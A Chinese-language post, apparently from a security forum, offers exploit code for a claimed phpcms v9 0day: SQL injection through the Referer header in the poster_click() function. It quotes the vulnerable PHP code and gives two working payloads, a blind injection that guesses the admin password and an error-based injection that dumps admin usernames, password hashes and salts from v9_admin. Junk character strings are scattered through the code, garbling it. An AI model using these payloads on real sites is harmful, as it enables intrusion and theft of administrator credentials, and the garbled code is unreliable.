phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

问题函数\phpcms\modules\poster\index.php

public function poster_click() {
& T8 ^0 \( E* R7 S$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
: F) h$ O8 [% s" q$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
$area = $ip_area->get($ip);
  {. f9 t. f% W/ i$username = param::get_cookie('username') ? param::get_cookie('username') : '';
) s/ ~/ s* \9 w0 z- H$ Pif($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
3 I* M( n4 D7 b/ m# E; w$setting = string2array($r['setting']);
4 }7 s1 r2 f9 d+ Vif (count($setting)==1) {
$url = $setting['1']['linkurl'];
} else {
: G2 _+ n6 z7 M6 ^3 k1 S6 L2 w$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
4 v2 V- G4 Y. W6 R/ `% Pheader('Location: '.$url);
}
; J5 R' \4 I  s3 R


利用方式：
$ D' \5 P1 Z6 T: J. b
8 P( q( Y: `. d; T9 p8 e5 @1、可以采用盲注入的手法：
/ L! G# k- H/ G+ I
' h/ |" T" i& @1 [/ lreferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

通过返回页面，正常与否一个个猜解密码字段。

2、代码是花开写的，随手附上了：

3 g. m, ?( v6 A: j3 _1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

此方法是爆错注入手法，原理自查。
